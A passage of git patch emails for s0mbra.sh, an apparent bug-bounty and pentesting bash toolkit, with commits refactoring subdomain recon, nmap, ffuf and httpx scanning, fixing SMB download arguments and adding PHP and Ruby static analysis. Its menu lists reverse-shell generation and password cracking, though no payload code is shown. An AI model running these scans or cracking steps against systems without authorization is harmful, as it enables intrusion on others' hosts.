/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log rm -f step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" - grep 200 $TMPDIR/s0mbra_recon_httpx.tmp + grep 200 $TMPDIR/s0mbra_recon_httpx.log echo -e "\n$BLUE[s0mbra] Done.$CLR" } @@ -312,7 +312,7 @@ recon() { # nmap if [[ $NMAP -eq "1" ]]; then echo -e "\n$GREEN--> nmap (top 100 ports + version discovery + nse scripts)$CLR\n" - nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.log $HOSTNAME fi # nikto From 430e4efa5854fa42b0173c2f702d171db691655d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Jul 2022 12:47:20 +0100 Subject: [PATCH 162/289] [s0mbra] remove default screen clear --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e17914c..e13b287 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -767,7 +767,6 @@ methods() { ### menu cmd=$1 -clear case "$cmd" in set_ip) From 288cabcc5c354f0c2a9150c90f0426f0aeff5c52 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Jul 2022 22:54:01 +0100 Subject: [PATCH 163/289] [s0mbra] Remove unused get --- s0mbra.sh | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index e13b287..fea4231 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -693,20 +693,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# executes HTTP requests to most common HTTP ports -get() { - PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) - echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" - for PORT in "${PORTS[@]}"; do - echo -e "$YELLOW\n[s0mbra] Executing HTTP request to port $PORT...$CLR" - curl -I -m 10 http://$1:$PORT - echo -e "$YELLOW\n[s0mbra] Executing HTTPS request to port $PORT...$CLR" - curl -I -m 10 https://$1:$PORT - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # enumerates available HTTP methods on host methods() { METHODS=( @@ -865,9 +851,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - get) - get "$2" - ;; methods) methods "$2" "$3" ;; @@ -897,7 +880,6 @@ case "$cmd" in echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" From 8be4dde8d2a551cc96cb9507d6e0dea853369b30 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Jul 2022 13:06:37 +0100 Subject: [PATCH 164/289] [s0mbra] misc SMB changes --- s0mbra.sh | 28 ++++++++++++++-------------- 1 file changed, 14 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fea4231..1ee8c7c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -145,21 +145,21 @@ smb_enum() { # download file from SMB share smb_get_file() { - if [[ -z $2 ]]; then + if [[ -z $3 ]]; then username='NULL' - elif [[ -n $2 ]]; then - username="$2" + elif [[ -n $3 ]]; then + username="$3" fi - if [[ -z $3 ]]; then + if [[ -z $4 ]]; then password='' - elif [[ -n $3 ]]; then - password="$3" + elif [[ -n $4 ]]; then + password="$4" fi - echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $2 from $1...$CLR" echo -e "$GREEN" - smbmap -H "$1" -u "$2" -p "$3" --download "$4" + smbmap -H "$1" -u "$3" -p "$4" --download "$2" echo -e "$CLR" echo -e "\n$BLUE[s0mbra] Done." } @@ -882,7 +882,7 @@ case "$cmd" in echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" @@ -896,11 +896,11 @@ case "$cmd" in echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - # echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - # echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - # echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - # echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - # echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" + echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" + echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" + echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t -> downloads file from SMB share [PATH] on [IP]" + echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" + echo -e "$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" From 74384e1d30f9d0fd26cb3711b9ddbf5003e97ff2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Aug 2022 14:07:05 +0100 Subject: [PATCH 165/289] [s0mbra] Remove unused options --- s0mbra.sh | 79 +------------------------------------------------------ 1 file changed, 1 insertion(+), 78 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1ee8c7c..5b8f69b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -397,16 +397,6 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -#extracts API endpoint urls (eg. "/api/user/create") -endpoints() { - clear - FILE=$1 - PATH=$2 - echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - /usr/bin/grep --color -n -e "$PATH" $FILE - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -693,64 +683,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# enumerates available HTTP methods on host -methods() { - METHODS=( - OPTIONS - GET - HEAD - POST - PUT - DELETE - TRACE - PURGE - CONNECT - PROPFIND - PROPPATCH - MKCOL - COPY - MOVE - LOCK - UNLOCK - VERSION-CONTROL - REPORT - CHECKOUT - CHECKIN - UNCHECKOUT - MKWORKSPACE - UPDATE - LABEL - MERGE - BASELINE-CONTROL - MKACTIVITY - ORDERPATCH - ACL - PATCH - SEARCH - ARBITRARY - BIND - LINK - MKCALENDAR - MKREDIRECTREF - PRI - QUERY - REBIND - UNBIND - UNLINK - UPDATEREDIRECTREF) - echo -e "$BLUE[s0mbra] Enumerate available HTTP methods on $1...$CLR" - for HTTP_METHOD in "${METHODS[@]}"; do - echo -e "$YELLOW[s0mbra] Executing $HTTP_METHOD / HTTP/1.1...$CLR" - if [[ -z $2 ]]; then - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 | grep HTTP - else - curl -sI -X $HTTP_METHOD -H "User-Agent: HackerOne/bl4de" -H "X-Hackerone: bl4de" -H "Content-Type: application/json" $1 - fi - echo - done - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -851,12 +783,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" "$5" ;; - methods) - methods "$2" "$3" - ;; - endpoints) - endpoints "$2" "$3" - ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -878,11 +804,8 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "$CYAN methods $GRAY[HOST] [*SHOW RESP. HEADERS]$CLR\t\t -> enumerates HTTP methods on HOST" - echo -e "$BLUE_BG:: API ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(REST)$CLR\t\t -> extracts API endpoints from FILE, which contains PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 84bb369ae93081e8dbd3baa9cc085955ead7ae9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 5 Aug 2022 18:17:42 +0100 Subject: [PATCH 166/289] [s0mbra] some updates in peek --- s0mbra.sh | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5b8f69b..3105301 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -216,7 +216,7 @@ lookaround() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -251,7 +251,7 @@ peek() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" @@ -277,14 +277,13 @@ recon() { FEROXBUSTER="1" X8="1" SUBDOMANIZER="1" - SELECTED_OPTIONS="nmap, nikto, ffuf, feroxbuster, x8, subdomanizer" + SELECTED_OPTIONS="nmap, nikto, ffuf, x8, subdomanizer" else # set options: NMAP=$(echo $2|grep 'nmap'|wc -l) NIKTO=$(echo $2|grep 'nikto'|wc -l) VHOSTS=$(echo $2|grep 'vhosts'|wc -l) FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) SELECTED_OPTIONS=$2 @@ -334,11 +333,6 @@ recon() { ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log fi - # feroxbuster - if [[ $FEROXBUSTER -eq "1" ]]; then - feroxbuster -f -d 1 --insecure -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" --url $PROTO://$HOSTNAME -w $DICT_HOME/wordlist.txt --output $TMPDIR/s0mbra_feroxbuster_$HOSTNAME.log - fi - # x8 if [[ $X8 -eq "1" ]]; then x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 @@ -803,7 +797,7 @@ case "$cmd" in echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> dirs and files enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR\t\t -> fuzzing API endpoints with httpie" From 6da96d551043ed4298f1e0ebf2dfa2fa0aa4c481 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 7 Aug 2022 14:36:16 +0100 Subject: [PATCH 167/289] [s0mbra] peek() refactoring: create subdirectory for every peeked domain --- s0mbra.sh | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3105301..dcbc496 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,10 +230,13 @@ lookaround() { # quick lookaround, but for single domain - no need to create scope file peek() { - TMPDIR=$(pwd) + TMPDIR=$(pwd)/$1 + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi START_TIME=$(date) DOMAIN=$1 - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + echo -e "$BLUE[s0mbra] Let's see what have we got here...$CLR\n" # sublister echo -e "\n$GREEN--> sublister$CLR\n" @@ -244,15 +247,20 @@ peek() { subfinder -nW -all -v -d $DOMAIN -o $TMPDIR/s0mbra_recon_subfinder.log # prepare list of uniqe subdomains - cat s0mbra_recon_sub* > step1 - sed 's/
/#/g' step1 | tr '#' '\n' > step2 - sort -u -k 1 step2 > s0mbra_recon_subdomains_final.log - rm -f step* + cat $TMPDIR/s0mbra_recon_sub* > $TMPDIR/step1 + sed 's/
/#/g' $TMPDIR/step1 | tr '#' '\n' > $TMPDIR/step2 + sort -u -k 1 $TMPDIR/step2 > $TMPDIR/s0mbra_recon_subdomains_final.log + rm -f $TMPDIR/step* # httpx echo -e "\n$GREEN--> httpx$CLR\n" httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/s0mbra_recon_subdomains_final.log -o $TMPDIR/s0mbra_recon_httpx.log + # cleanup + echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" + rm -f $TMPDIR/s0mbra_recon_sublister_$DOMAIN.log + rm -f $TMPDIR/s0mbra_recon_subfinder.log + END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" From 6a0003079796787ac9ac922a7b5870a042ae510b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:11:27 +0100 Subject: [PATCH 168/289] [s0mbra] Added phpstan to phpsast command --- .gitignore | 8 ++---- composer.json | 5 ++++ composer.lock | 78 +++++++++++++++++++++++++++++++++++++++++++++++++++ s0mbra.sh | 1 + 4 files changed, 86 insertions(+), 6 deletions(-) create mode 100644 composer.json create mode 100644 composer.lock diff --git a/.gitignore b/.gitignore index 2f890da..3dcfe31 100644 --- a/.gitignore +++ b/.gitignore @@ -1,17 +1,13 @@ .idea/ -sword/output.html -sword/output.txt +.vscode dev/ .DS_Store -cco.pyc pefdefs.pyc imports/*.pyc htmlanalyzer/index.html -sword/OUTPUT /dirscan/10000folders.txt /dirscan/1000folders.txt *.pyc *.log -.vscode - .history/ .env +vendor/ diff --git a/composer.json b/composer.json new file mode 100644 index 0000000..62142a6 --- /dev/null +++ b/composer.json @@ -0,0 +1,5 @@ +{ + "require-dev": { + "phpstan/phpstan": "^1.8" + } +} diff --git a/composer.lock b/composer.lock new file mode 100644 index 0000000..51bd5e0 --- /dev/null +++ b/composer.lock @@ -0,0 +1,78 @@ +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "911267b8ad1b1bb25c74a4db8118c301", + "packages": [], + "packages-dev": [ + { + "name": "phpstan/phpstan", + "version": "1.8.2", + "source": { + "type": "git", + "url": "https://github.com/phpstan/phpstan.git", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/phpstan/phpstan/zipball/c53312ecc575caf07b0e90dee43883fdf90ca67c", + "reference": "c53312ecc575caf07b0e90dee43883fdf90ca67c", + "shasum": "" + }, + "require": { + "php": "^7.2|^8.0" + }, + "conflict": { + "phpstan/phpstan-shim": "*" + }, + "bin": [ + "phpstan", + "phpstan.phar" + ], + "type": "library", + "autoload": { + "files": [ + "bootstrap.php" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "PHPStan - PHP Static Analysis Tool", + "support": { + "issues": "https://github.com/phpstan/phpstan/issues", + "source": "https://github.com/phpstan/phpstan/tree/1.8.2" + }, + "funding": [ + { + "url": "https://github.com/ondrejmirtes", + "type": "github" + }, + { + "url": "https://github.com/phpstan", + "type": "github" + }, + { + "url": "https://www.patreon.com/phpstan", + "type": "patreon" + }, + { + "url": "https://tidelift.com/funding/github/packagist/phpstan/phpstan", + "type": "tidelift" + } + ], + "time": "2022-07-20T09:57:31+00:00" + } + ], + "aliases": [], + "minimum-stability": "stable", + "stability-flags": [], + "prefer-stable": false, + "prefer-lowest": false, + "platform": [], + "platform-dev": [], + "plugin-api-version": "2.1.0" +} diff --git a/s0mbra.sh b/s0mbra.sh index dcbc496..c861453 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -594,6 +594,7 @@ php_sast() { echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" phpcs --colors -vs $1 graudit $1 + ./vendor/bin/phpstan analyse $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 7434f4d2d1ef78a58b093c1b9fa915860ccbc778 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 9 Aug 2022 02:15:02 +0100 Subject: [PATCH 169/289] [s0mbra] phpsast changes --- composer.json | 2 +- s0mbra.sh | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/composer.json b/composer.json index 62142a6..5575f14 100644 --- a/composer.json +++ b/composer.json @@ -2,4 +2,4 @@ "require-dev": { "phpstan/phpstan": "^1.8" } -} +} \ No newline at end of file diff --git a/s0mbra.sh b/s0mbra.sh index c861453..c17be20 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -592,9 +592,9 @@ gql() { php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" - phpcs --colors -vs $1 - graudit $1 ./vendor/bin/phpstan analyse $1 + graudit $1 + phpcs --colors -vs $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } From e5277b94a66b25069cbd4e6b53fd832ee40bb9a9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:25:11 +0100 Subject: [PATCH 170/289] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c17be20..3dae58e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -598,6 +598,14 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs Ruby SAST tools against Ruby application +ruby_sast() { + clear + echo -e "$BLUE[s0mbra] Running brakeman against $1...$CYAN" + brakeman $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # deso stuff with Android APK file apk() { clear @@ -801,6 +809,9 @@ case "$cmd" in generate_shells) generate_shells "$2" "$3" ;; + rubysast) + ruby_sast "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -837,6 +848,7 @@ case "$cmd" in echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" + echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t -> Static Code Analysis of Ruby dir(s)/file(s) with brakeman" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 3f1f8a7eaa30253c8cdec2c418a5ea4080d8decd Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 10 Aug 2022 08:26:15 +0100 Subject: [PATCH 171/289] [s0mbra] rubysast for static analysis of Ruby apps --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3dae58e..5a0876d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -843,7 +843,7 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: STATIC APPLICATION SECURITY TESTING ::\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 654c01daf279aa46ee9c5ce16b439ecaed1b42b3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 11 Aug 2022 10:04:16 +0100 Subject: [PATCH 172/289] [s0mbra] menu --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5a0876d..6e10e58 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -818,7 +818,7 @@ case "$cmd" in echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,x8,subdomanizer" - echo -e "$BLUE_BG:: WEB,APIs ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT or /] [HTTP RESP.]$CLR\t -> 